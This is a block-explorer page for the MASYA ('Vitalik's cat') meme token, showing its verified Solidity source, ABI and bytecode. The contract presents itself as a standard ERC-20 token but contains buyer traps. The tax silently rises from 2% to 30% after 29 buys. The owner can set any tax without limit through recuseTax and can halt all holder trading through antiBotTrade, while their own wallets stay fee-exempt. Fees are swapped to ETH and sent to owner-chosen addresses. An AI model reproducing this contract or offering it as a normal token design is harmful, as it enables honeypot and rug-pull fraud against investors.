ETH Price: $3,472.21 (+0.05%)

Token

Vitalik's cat (MASYA)
 

Overview

Max Total Supply

420,690,000,000 MASYA

Holders

122

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
111,050,427.92335082 MASYA

Value
$0.00
0x2df59cb817fcd93b450dea6a5030a88c80df81bd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xF27B4E99...02870e50B
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Token

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-22
*/

// SPDX-License-Identifier: MIT

/**

X:https://x.com/masyacoin_eth
TG:https://t.me/MASYACOIN_ETH

**/

pragma solidity ^0.8.20;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Token is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address payable public mkt;
    address payable private team;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    mapping(address => bool) public _isExcludeFromFee;
    uint256 private _totalSupply;
    IUniswapRouter public _uniswapRouter;
    mapping(address => bool) public isMarketPair;
    bool private inSwap;
    uint256 private constant MAX = ~uint256(0);
    address public _uniswapPair;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor (string memory _name_, string memory _symbol_){

        _name = _name_;
        _symbol = _symbol_;

        _decimals = 9;
        uint256 Supply = 420690000000;

        _totalSupply = Supply * 10 ** _decimals;
        swapAtAmount = _totalSupply / 20000;

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        mkt = payable(receiveAddr);
        team = payable(receiveAddr);

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[mkt] = true;
        _isExcludeFromFee[team] = true;


    }

    function setMKT(
        address payable newMKT,
        address payable newTeam
    ) public onlyOwner{
        mkt = newMKT;
        team = newTeam;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    uint256 public _buyCount=0;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=30;
    uint256 private _finalSellTax=30;
    uint256 private _reduceBuyTaxAt=29;
    uint256 private _reduceSellTaxAt=29;
    uint256 private _preventSwapBefore=40;

    function recuseTax(
        uint256 newBuy,
        uint256 newSell,
        uint256 newReduceBuy,
        uint256 newReduceSell,
        uint256 newPreventSwapBefore
    ) public onlyOwner {
        _finalBuyTax = newBuy;
        _finalSellTax = newSell;
        _reduceBuyTaxAt = newReduceBuy;
        _reduceSellTaxAt = newReduceSell;
        _preventSwapBefore = newPreventSwapBefore;
    }

    uint256 swapAtAmount;
    function setSwapAtAmount(
        uint256 newValue
    ) public onlyOwner{
        swapAtAmount = newValue;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (inSwap){
            _basicTransfer(from, to, amount);
            return;
        }

        bool takeFee;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) {
            uint256 _numSellToken = amount;
            if (_numSellToken > balanceOf(address(this))){
                _numSellToken = _balances[address(this)];
            }
            if (_numSellToken > swapAtAmount){
                swapTokenForETH(_numSellToken);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(startTradeBlock > 0);
            takeFee = true;
            
            // buyCount
            if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) {
                _buyCount++;
            }

        }

        _transferToken(from, to, amount, takeFee);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;
            if (isMarketPair[recipient]) {
                taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax;
            } else if (isMarketPair[sender]) {
                taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }


    uint256 public startTradeBlock;
    function startTrade() public onlyOwner {
        require(startTradeBlock == 0, "already start");
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        isMarketPair[_uniswapPair] = true;
        IERC20(_uniswapRouter.WETH()).approve(address(address(_uniswapRouter)), ~uint256(0));
        _isExcludeFromFee[address(_uniswapRouter)] = true;
        _uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        startTradeBlock = block.number;
    }

    function retrade() public onlyOwner {
        startTradeBlock = block.number;
    }

    function antiBotTrade() public onlyOwner{
        startTradeBlock = 0;
    }

    function removeERC20(address _token) external {
        require(msg.sender == mkt);
        IERC20(_token).transfer(mkt, IERC20(_token).balanceOf(address(this)));
        mkt.transfer(address(this).balance);
    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 _bal = address(this).balance;
        if (_bal > 0.01 ether){
            mkt.transfer(_bal/10);
            team.transfer(address(this).balance);
        }
    }

    function setMarketingFreeTrade(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name_","type":"string"},{"internalType":"string","name":"_symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBotTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMKT","type":"address"},{"internalType":"address payable","name":"newTeam","type":"address"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setMarketingFreeTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSwapAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600d556002600e556002600f55601e601055601e601155601d601255601d6013556028601455348015610036575f80fd5b50604051611e6d380380611e6d83398101604081905261005591610259565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060056100a18382610342565b5060066100ae8282610342565b506007805460ff191660099081179091556461f313f880906100d190600a6104f5565b6100db908261050a565b60098190556100ed90614e2090610521565b601555600954335f81815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b039283166001600160a01b0319918216811783556004805490921681178255305f90815260086020526040808220805460ff19908116600190811790925593835281832080548516821790559454861682528082208054841686179055925490941684529220805490921617905550610540915050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126101df575f80fd5b81516001600160401b038111156101f8576101f86101bc565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610226576102266101bc565b60405281815283820160200185101561023d575f80fd5b8160208501602083015e5f918101602001919091529392505050565b5f806040838503121561026a575f80fd5b82516001600160401b0381111561027f575f80fd5b61028b858286016101d0565b602085015190935090506001600160401b038111156102a8575f80fd5b6102b4858286016101d0565b9150509250929050565b600181811c908216806102d257607f821691505b6020821081036102f057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561033d57805f5260205f20601f840160051c8101602085101561031b5750805b601f840160051c820191505b8181101561033a575f8155600101610327565b50505b505050565b81516001600160401b0381111561035b5761035b6101bc565b61036f8161036984546102be565b846102f6565b6020601f8211600181146103a1575f831561038a5750848201515b5f19600385901b1c1916600184901b17845561033a565b5f84815260208120601f198516915b828110156103d057878501518255602094850194600190920191016103b0565b50848210156103ed57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561044b5780850481111561042f5761042f6103fc565b600184161561043d57908102905b60019390931c928002610414565b935093915050565b5f82610461575060016104ef565b8161046d57505f6104ef565b8160018114610483576002811461048d576104a9565b60019150506104ef565b60ff84111561049e5761049e6103fc565b50506001821b6104ef565b5060208310610133831016604e8410600b84101617156104cc575081810a6104ef565b6104d85f198484610410565b805f19048211156104eb576104eb6103fc565b0290505b92915050565b5f61050360ff841683610453565b9392505050565b80820281158282048414176104ef576104ef6103fc565b5f8261053b57634e487b7160e01b5f52601260045260245ffd5b500490565b6119208061054d5f395ff3fe608060405260043610610198575f3560e01c806365b61b77116100e757806395d89b4111610087578063a9059cbb11610062578063a9059cbb1461048c578063d242fbcc146104ab578063dd62ed3e146104ca578063f2fde38b1461050e575f80fd5b806395d89b411461043a578063a266e55e1461044e578063a67755c21461046d575f80fd5b8063715018a6116100c2578063715018a6146103d7578063741c7698146103eb5780637cc5b1e6146103ff5780638da5cb5b1461041e575f80fd5b806365b61b77146103705780636c5808011461038f57806370a08231146103a3575f80fd5b8063313ce567116101525780633f80b6d71161012d5780633f80b6d7146102e15780634bf28fd014610300578063553193ca1461033c5780636402511e14610351575f80fd5b8063313ce5671461026457806336b2e027146102855780633ecad271146102b3575f80fd5b806306fdde03146101a3578063095ea7b3146101cd5780630c062020146101fc57806318160ddd1461021257806323b872dd1461023057806327b1a8e91461024f575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b506101b761052d565b6040516101c4919061156f565b60405180910390f35b3480156101d8575f80fd5b506101ec6101e73660046115bb565b6105bd565b60405190151581526020016101c4565b348015610207575f80fd5b506102106105d3565b005b34801561021d575f80fd5b506009545b6040519081526020016101c4565b34801561023b575f80fd5b506101ec61024a3660046115e5565b61060b565b34801561025a575f80fd5b50610222600d5481565b34801561026f575f80fd5b5060075460405160ff90911681526020016101c4565b348015610290575f80fd5b506101ec61029f366004611623565b60086020525f908152604090205460ff1681565b3480156102be575f80fd5b506101ec6102cd366004611623565b600b6020525f908152604090205460ff1681565b3480156102ec575f80fd5b506102106102fb366004611645565b61069d565b34801561030b575f80fd5b50600c546103249061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101c4565b348015610347575f80fd5b5061022260165481565b34801561035c575f80fd5b5061021061036b36600461167c565b6106dd565b34801561037b575f80fd5b50600a54610324906001600160a01b031681565b34801561039a575f80fd5b5061021061070b565b3480156103ae575f80fd5b506102226103bd366004611623565b6001600160a01b03165f9081526001602052604090205490565b3480156103e2575f80fd5b50610210610b1f565b3480156103f6575f80fd5b50610210610b90565b34801561040a575f80fd5b50600354610324906001600160a01b031681565b348015610429575f80fd5b505f546001600160a01b0316610324565b348015610445575f80fd5b506101b7610bbf565b348015610459575f80fd5b506102106104683660046116a0565b610bce565b348015610478575f80fd5b50610210610487366004611623565b610c21565b348015610497575f80fd5b506101ec6104a63660046115bb565b610d53565b3480156104b6575f80fd5b506102106104c53660046116d7565b610d5f565b3480156104d5575f80fd5b506102226104e43660046116d7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610519575f80fd5b50610210610528366004611623565b610db6565b60606005805461053c90611703565b80601f016020809104026020016040519081016040528092919081815260200182805461056890611703565b80156105b35780601f1061058a576101008083540402835291602001916105b3565b820191905f5260205f20905b81548152906001019060200180831161059657829003601f168201915b5050505050905090565b5f6105c9338484610e79565b5060015b92915050565b5f546001600160a01b031633146106055760405162461bcd60e51b81526004016105fc9061173b565b60405180910390fd5b5f601655565b5f610617848484610ed9565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914610693576001600160a01b0384165f90815260026020908152604080832033845290915290205461066f90839061177a565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146106c65760405162461bcd60e51b81526004016105fc9061173b565b601094909455601192909255601255601355601455565b5f546001600160a01b031633146107065760405162461bcd60e51b81526004016105fc9061173b565b601555565b5f546001600160a01b031633146107345760405162461bcd60e51b81526004016105fc9061173b565b601654156107745760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481cdd185c9d609a1b60448201526064016105fc565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255305f908152600260209081526040808320938352928152908290205f1990559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa1580156107fc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610820919061178d565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561087f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a3919061178d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610911919061178d565b600c8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481165f908152600b6020908152604091829020805460ff19166001179055600a5482516315ab88c960e31b8152925193169263ad5c46489260048082019392918290030181865afa158015610991573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b5919061178d565b600a5460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610a04573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2891906117a8565b50600a80546001600160a01b039081165f908152600860205260409020805460ff1916600117905590541663f305d7194730610a78816001600160a01b03165f9081526001602052604090205490565b5f80610a8b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610af1573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b1691906117c3565b50504360165550565b5f546001600160a01b03163314610b485760405162461bcd60e51b81526004016105fc9061173b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610bb95760405162461bcd60e51b81526004016105fc9061173b565b43601655565b60606006805461053c90611703565b5f546001600160a01b03163314610bf75760405162461bcd60e51b81526004016105fc9061173b565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b03163314610c37575f80fd5b6003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610c88573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cac91906117ee565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610cf4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d1891906117a8565b506003546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610d4f573d5f803e3d5ffd5b5050565b5f6105c9338484610ed9565b5f546001600160a01b03163314610d885760405162461bcd60e51b81526004016105fc9061173b565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b5f546001600160a01b03163314610ddf5760405162461bcd60e51b81526004016105fc9061173b565b6001600160a01b038116610e205760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016105fc565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526001602052604090205481811015610f345760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016105fc565b600c5460ff1615610f5157610f4a8484846110f9565b5050505050565b6001600160a01b0383165f908152600b602052604081205460ff168015610f7b5750600c5460ff16155b8015610f9f57506001600160a01b0385165f9081526008602052604090205460ff16155b8015610fc357506001600160a01b0384165f9081526008602052604090205460ff16155b8015610fd25750601454600d54115b1561101557305f9081526001602052604090205483908111156110005750305f908152600160205260409020545b60155481111561101357611013816111ac565b505b6001600160a01b0385165f9081526008602052604090205460ff1615801561105557506001600160a01b0384165f9081526008602052604090205460ff16155b80156110645750600c5460ff16155b156110ed575f60165411611076575f80fd5b506001600160a01b0384165f908152600b602052604090205460019060ff1680156110af5750600a546001600160a01b03858116911614155b80156110d357506001600160a01b0384165f9081526008602052604090205460ff16155b156110ed57600d8054905f6110e783611805565b91905055505b610f4a85858584611384565b6001600160a01b0383165f9081526001602052604081208054839190839061112290849061177a565b90915550506001600160a01b0383165f908152600160205260408120805484929061114e90849061181d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161119a91815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111ec576111ec611830565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611243573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611267919061178d565b8160018151811061127a5761127a611830565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac947906112bf9085905f90869030904290600401611844565b5f604051808303815f87803b1580156112d6575f80fd5b505af11580156112e8573d5f803e3d5ffd5b504792505050662386f26fc10000811115611375576003546001600160a01b03166108fc611317600a846118b4565b6040518115909202915f818181858888f1935050505015801561133c573d5f803e3d5ffd5b506004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015611373573d5f803e3d5ffd5b505b5050600c805460ff1916905550565b6001600160a01b0384165f908152600160205260409020546113a790839061177a565b6001600160a01b0385165f9081526001602052604081209190915581156114e2576001600160a01b0384165f908152600b602052604081205460ff161561140657601354600d54116113fb57600f546113ff565b6011545b9050611440565b6001600160a01b0386165f908152600b602052604090205460ff161561144057601254600d541161143957600e5461143d565b6010545b90505b5f606461144d83876118d3565b61145791906118b4565b905080156114df57611469818461181d565b305f9081526001602052604090205490935061148690829061181d565b305f81815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114d69085815260200190565b60405180910390a35b50505b6114ec818461177a565b6001600160a01b0385165f9081526001602052604090205461150e919061181d565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611557848761177a565b60405190815260200160405180910390a35050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146115b8575f80fd5b50565b5f80604083850312156115cc575f80fd5b82356115d7816115a4565b946020939093013593505050565b5f805f606084860312156115f7575f80fd5b8335611602816115a4565b92506020840135611612816115a4565b929592945050506040919091013590565b5f60208284031215611633575f80fd5b813561163e816115a4565b9392505050565b5f805f805f60a08688031215611659575f80fd5b505083359560208501359550604085013594606081013594506080013592509050565b5f6020828403121561168c575f80fd5b5035919050565b80151581146115b8575f80fd5b5f80604083850312156116b1575f80fd5b82356116bc816115a4565b915060208301356116cc81611693565b809150509250929050565b5f80604083850312156116e8575f80fd5b82356116f3816115a4565b915060208301356116cc816115a4565b600181811c9082168061171757607f821691505b60208210810361173557634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b818103818111156105cd576105cd611766565b5f6020828403121561179d575f80fd5b815161163e816115a4565b5f602082840312156117b8575f80fd5b815161163e81611693565b5f805f606084860312156117d5575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156117fe575f80fd5b5051919050565b5f6001820161181657611816611766565b5060010190565b808201808211156105cd576105cd611766565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118945783516001600160a01b031683526020938401939092019160010161186d565b50506001600160a01b039590951660608401525050608001529392505050565b5f826118ce57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176105cd576105cd61176656fea2646970667358221220db55f92b21f017f30d003e5369fbb65a6a993907e13b12b71fa83e223149a99b64736f6c634300081a003300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000d566974616c696b2773206361740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054d41535941000000000000000000000000000000000000000000000000000000

Deployed Bytecode

